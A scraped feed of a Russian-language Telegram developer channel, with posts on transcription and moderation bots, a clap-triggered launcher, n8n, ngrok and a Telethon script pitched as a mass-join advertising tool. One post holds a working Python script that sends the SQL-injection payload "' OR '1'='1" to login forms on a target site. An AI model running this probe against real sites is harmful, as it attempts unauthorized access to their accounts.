1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя;
2) А также Python из последних актуальных релизов.
Будут и рекомендации по правильной установке.
Страничку с choco я еще заполню командами. Сейчас там уже есть вкладки (медиа, разработка, веб-разработка и т.д.) с командами для экспресс-установки рабочих инструментов. В одну строчку можно установить все те же IDE, Python, Node JS, драйвера, кодеки и даже Steam :D
Пока что так. .exe под Windows мб дам сюда сегодня-завтра.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤3
ИИ-ассистент в Telegram, готовый упростить работу с аудио и текстами. Запищите, перешлите ему аудио-сообщение и он не только проведет транскрибацию, но и сделает выжимку из текста по заданным настройкам.
Что умеет:
- 🗣 Принимает голосовые сообщения (.ogg) и различные аудиофайлы (.mp3, .wav, и т.д.).
- ✍️ Быстро и точно транскрибирует аудио в текст с помощью продвинутой модели Whisper. Пользователи могут выбрать язык транскрибации или доверить боту автоопределение!
-💡 Генерирует краткое и информативное резюме из полученного текста или любого текстового сообщения от пользователя. Доступны разные стили: от очень короткого до подробного с ключевыми пунктами.
- ⚙️ Позволяет настроить язык для транскрибации и выбрать подходящий стиль резюме через команду /settings.
Скачать проект можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥5❤2
two_claps_open-main.rar
7.4 KB
В проекте две реализации:
- открытие ДОТЫ2;
- запуск голосового ассистена Gemini (нужен API-ключ).
Забавно, можно найти применение.
⚙️ Как это работает:
В основе всего лежит технология обнаружения хлопков в реальном времени. Этот процесс реализован как в Python-скриптах, так и в прототипах на MATLAB:
- захват аудио: скрипты непрерывно слушают аудиопоток с микрофона с частотой дискретизации 44100 Гц. Аудио делится на короткие фрагменты (фреймы) длительностью 20 мс;
- фильтрация: хлопок имеет характерный частотный спектр. Чтобы отсеять посторонние шумы (голос, музыку, звуки улицы), каждый фрейм проходит через полосовой фильтр Баттерворта. Фильтр пропускает только частоты в диапазоне от 1400 Гц до 1800 Гц. К фреймам применяется оконная функция Ханна для сглаживания и уменьшения спектральных искажений;
- детекция пиков: в отфильтрованном сигнале скрипт ищет резкие всплески амплитуды (пики), которые превышают заданный порог (например, 0.2);
- защита от ложных срабатываний: Чтобы один громкий хлопок не был засчитан как два, установлена минимальная задержка между обнаруженными пиками — 0.2 секунды.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5✍1👌1
Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;)
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
import requests
from bs4 import BeautifulSoup
import logging
# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def find_login_forms(url):
"""
Ищет формы входа на указанном веб-сайте.
Args:
url (str): URL веб-сайта.
Returns:
list: Список URL-адресов форм входа.
"""
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
login_forms = []
for form in forms:
if 'login' in str(form).lower() or 'sign' in str(form).lower():
action = form.get('action')
if action:
login_forms.append(action)
return login_forms
except Exception as e:
logger.error(f"Ошибка при поиске форм входа на {url}: {e}")
return []
def check_sql_injection(url):
"""
Проверяет уязвимость SQL-инъекции на указанном URL.
Args:
url (str): URL для проверки.
Returns:
bool: True если уязвимость обнаружена, иначе False.
"""
payload = "' OR '1'='1"
test_url = f"{url}?username={payload}&password={payload}"
try:
response = requests.get(test_url)
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
logger.info(f"Возможная уязвимость SQL-инъекции на {url}")
return True
else:
logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}")
return False
except Exception as e:
logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}")
return False
if __name__ == "__main__":
target_url = "http://example.com/login"
login_forms = find_login_forms(target_url)
for form_action in login_forms:
full_url = f"http://example.com{form_action}"
vulnerable = check_sql_injection(full_url)
print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}")
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
❤11👍4❤🔥2😁2
- 🔄 Отслеживание нескольких YouTube-каналов в реальном времени
- 📢 Мгновенные уведомления в Telegram при публикации новых видео
- 🎯 Чистый и профессиональный формат уведомлений с миниатюрами (thumbnail)
- 👥 Поддержка отправки уведомлений в несколько групп/каналов Telegram
- 🔐 Управление доступом только для администраторов
- ⚙️ Простая конфигурация через переменные окружения
- 💾 Постоянное хранение данных о каналах и настройках чатов
- 🚀 Автоматический повтор уведомлений при сбоях отправки
- 🛡 Обработка ошибок и корректное завершение работы бота
1) Токен бота.
2) YOUTUBE_API_KEY.
3) Интервал в котором будет совершаться проверка на пост новых видео.
4) ID админов (для доступа к панели админов 🥹)
Поможет следить за контентом, первыми делать нарезки и т.д., работает надежнее колокольчика.
Cкачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
Всем привет! Вы так быстро подписываетесь, что если ТГ-стат кто будет смотреть, подумают, что накрутка 🖥
Я очень рад, что впервые довольно большое количество людей заинтересованы моим нормальным софтом, а не интернет-приколами, розыгрышами и демотиваторами😁
🚀 Пока все выглядит так. Может, у кого есть какие идеи, которые я смогу реализовать, в плане функционала?
Относительно того, что показывал в ТТ, добавил для фото/картинок выбор формата для сохранения, а также теперь можно сохранить свой пресет настроек, чтобы не устанавливать все на одни значения при каждом перезапуске.
Я очень рад, что впервые довольно большое количество людей заинтересованы моим нормальным софтом, а не интернет-приколами, розыгрышами и демотиваторами
Увидев ваш интерес к приложению по апскейлу фото/видео, я незамедлительно приступил к его доработке, уже есть около-финальный результат. Постараюсь сегодня, максимум завтра уже выложить готовый билд, которым можно будет с кайфом пользоваться!
Относительно того, что показывал в ТТ, добавил для фото/картинок выбор формата для сохранения, а также теперь можно сохранить свой пресет настроек, чтобы не устанавливать все на одни значения при каждом перезапуске.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳5😎2❤1😈1💘1
И главный вопрос:
Что лучше для автоматизации — использовать готовый инструмент типа n8n или писать все с нуля, то есть заниматься ручной разработкой?
n8n — это платформа для визуальной автоматизации. Вы соединяете кубики-«ноды» (приложения и сервисы) между собой, чтобы они обменивались данными и выполняли задачи без вашего участия. Гибко, наглядно и не всегда требует навыков программирования.
Что же выбрать: n8n или код? 🤔
- Скорость — главный приоритет. Собрать рабочий сценарий в n8n можно за минуты, а не за дни или недели;
- Бюджет ограничен. Использование готовых интеграций и визуального конструктора значительно дешевле, чем оплата часов разработчика;
- Задача типовая. Нужно связать популярные сервисы (Telegram, Google Sheets, CRM, Trello)? В n8n для этого уже все готово;
- Нужна гибкость без хардкора. Вы не программист, но хотите иметь возможность легко менять логику процесса.
- Нужна 100% кастомизация. У вас уникальная бизнес-логика, нестандартные API или требования к интерфейсу;
- Требуется максимальная производительность. Для высоконагруженных систем, обрабатывающих тысячи запросов в секунду, кастомный код, написанный под конкретную задачу, будет эффективнее;
- Интеграция очень специфична. Нужно подключить редкий или внутренний корпоративный софт, для которого нет готовых «нод»;
- Полный контроль над кодом и окружением является критически важным в серьезных проектах.
Итог таков: не стоит противопоставлять эти два подхода. Это инструменты для разных задач. Для 60% стандартных кейсов автоматизации n8n будет быстрее, дешевле и проще в поддержке. Например, бот для записи на маникюр, в больницу и т.д.
Для масштабных же проектов, рассчитанных на тысячи пользователей, n8n - это шутка. Где нужна уникальная логика и высокая производительность, — без ручной разработки не обойтись.
#automation #n8n #dev #nocode #tools
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3
main.py
6.9 KB
Работает на Pyrofork. Выводит в консоль количество существующих подарков, баланс звезд Вашего аккаунта, обновляется раз в 300 секунд (ставьте КД меньше, около минуты). Не забудьте в начале свои API HASH и API ID указать.
pip install pyrofork
Видел, в комментариях часто такое решение упоминали - держите.
Please open Telegram to view this post
VIEW IN TELEGRAM
🍓2
1) Поможет скачать последнюю актуальную версию IDE под ОС пользователя;
2) А также Python из последних актуальных релизов.
Будут и рекомендации по правильной установке.
Страничку с choco я еще заполню командами. Сейчас там уже есть вкладки (медиа, разработка, веб-разработка и т.д.) с командами для экспресс-установки рабочих инструментов. В одну строчку можно установить все те же IDE, Python, Node JS, драйвера, кодеки и даже Steam :D
Пока что так. .exe под Windows мб дам сюда сегодня-завтра.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2❤1
По идее, сейчас под каждым новым постом мой бот 🤖 будет присылать сообщение о том, где найти мои программы, а также как со мной связаться и закреплять ссылку на ТикТок.
Давайте проверим.
🖥 Модерация чата я пока отключил, на предмет ругательств. Жду от Вас вежливого общения. Ссылки, упоминания - запрещены, кроме:
- github;
- мой гугл-диск;
- youtube;
- канал и связанный с ним чат.
Касательно вопросов - я иногда включаю стримы на Твиче - можете задавать их там, в этом канале будут анонсы.
Давайте проверим.
- github;
- мой гугл-диск;
- youtube;
- канал и связанный с ним чат.
Упоминать можно меня (@kotozmeym), если есть кто-то, кто разошелся на язык, или модератора - @Green_Teeeeea. Также, моего бота для коммуникации, он же модератор - @mgerkomcom_bot. ЛС пришлось закрыть из-за наплыва вопросов - всем так отвечать не смогу.
Касательно вопросов - я иногда включаю стримы на Твиче - можете задавать их там, в этом канале будут анонсы.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4🤣4
This media is not supported in your browser
VIEW IN TELEGRAM
MORT — это бесплатный real-time переводчик, который работает поверх любой игры. 🤯
Он сканирует текст прямо с экрана и мгновенно выдает перевод. Идеально для JRPG и визуальных новелл, у которых нет перевода на нужный Вам язык.
- Перевод "на лету" через OCR;
- Удобный игровой оверлей;
- Полностью бесплатно.
У меня установлена Guild Wars 2. Проверял на ней - для статичного текста вроде квестов и диалогов он подойдет. Правда, придется потратить время на настройку области захвата. Но если вы английского не знаете - этого того стоит :)
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10🤣3
This media is not supported in your browser
VIEW IN TELEGRAM
Появился повод перейти на Windows 11 ;D
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Спустя столько лет, ахахаха
Windows 11 получила очень удобную функцию: быстрое завершение зависших приложений прямо с панели задач, без обращения к «Диспетчеру задач». Для этого достаточно кликнуть правой кнопкой мыши по значку программы и выбрать «Завершить задачу».
Чтобы включить: «Параметры» -> «Система» -> «Для разработчиков» -> «Завершить задачу».
Спустя столько лет, ахахаха
🫡8❤5🗿2🔥1👏1
main.py
7.5 KB
Скрипт демонстрирует, как можно через Telethon не только присоединится к каналу, но и к связанной с ним группе. Простая реализация. В правильных руках и с масштабированием можно создать мощный рекламный инструмент
Получаем:
linked_chat_id
через
telethon.tl.functions.channels.GetFullChannelRequest
Который принимает в качестве параметра channel идентификатор канала (аналогично JoinChannelRequest – имя пользователя, ID, объект сущности и т.д.) и возвращает детальную информацию. Запрос GetFullChannelRequest возвращает объект типа messages.ChatFull. Этот объект является контейнером и имеет сложную структуру.
Ключевыми для нашей задачи являются следующие его компоненты :
- full_chat: Этот атрибут содержит объект ChannelFull (для каналов), который, в свою очередь, хранит расширенную информацию о самом канале, включая искомый linked_chat_id.
- chats: Это список, содержащий объекты сущностей (User, Chat, Channel) для основного канала, а также для всех связанных с ним чатов (включая группу обсуждения, если она есть) и упомянутых пользователей.
Идентификатор связанной группы обсуждений хранится в атрибуте linked_chat_id объекта full_chat (т.е., response.full_chat.linked_chat_id). Этот ID является "маркированным" идентификатором Telegram, который уже включает префикс, указывающий на тип сущности (например, -100... для каналов/супергрупп).
Please open Telegram to view this post
VIEW IN TELEGRAM
😁4❤2
- 🔄 Отслеживание нескольких YouTube-каналов в реальном времени
- 📢 Мгновенные уведомления в Telegram при публикации новых видео
- 🎯 Чистый и профессиональный формат уведомлений с миниатюрами (thumbnail)
- 👥 Поддержка отправки уведомлений в несколько групп/каналов Telegram
- 🔐 Управление доступом только для администраторов
- ⚙️ Простая конфигурация через переменные окружения
- 💾 Постоянное хранение данных о каналах и настройках чатов
- 🚀 Автоматический повтор уведомлений при сбоях отправки
- 🛡 Обработка ошибок и корректное завершение работы бота
1) Токен бота.
2) YOUTUBE_API_KEY.
3) Интервал в котором будет совершаться проверка на пост новых видео.
4) ID админов (для доступа к панели админов 🥹)
Поможет следить за контентом, первыми делать нарезки и т.д., работает надежнее колокольчика.
Cкачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
По сути — настоящий швейцарский нож для администратора:
🛡 Фильтрует спам, нежелательные ссылки, упоминания и стоп-слова. Умеет автоматически выдавать предупреждения и банить нарушителей. Главное- устранил нюанс, где можно было редактировать сообщения и после редакции бот не реагировал.
⚙️ Настраивайте стоп-слова, исключения, разрешенные ссылки, триггеры для автоответов и многое другое через админку.
🛡 Устали от спам-ботов? Включите проверку по CAPTCHA для новых участников! Пользователю нужно будет ввести символы в личном чате с ботом, чтобы получить доступ к группе. Функцию можно включать и выключать глобально.
📬 Пользователи могут легко связаться с вами по разным темам (реклама, техподдержка, сотрудничество) или предложить новость для вашего канала.
✍️ Публикуйте посты в свои каналы прямо через бота, с inline-кнопками!
📊 Получайте периодические отчеты о работе бота и статистику модерации.
💰 В боте есть удобное меню для тех, кто захочет поддержать админа и его работу.
Скачать проект
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤬2❤1🗿1
Не проблема, есть ngrock
- Разрабатываете сайт или приложение и хотите показать результат друзьям или заказчику до развертывания.
- Тестируете вебхуки или API-интерфейсы.
- Хотите быстро проверить работу вашего сервиса вне вашей локальной сети.
Вы запускаете локальный сервер (например, сайт на Flask или Node.js), затем запускаете ngrok и получаете публичный URL, по которому любой пользователь в интернете сможет получить доступ к вашему локальному серверу.
Например:
ngrok http 8080
Теперь ваш локальный сервер на порту 8080 доступен через URL, который сгенерирует ngrok (например, https://abcd1234.ngrok.io).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4❤1❤🔥1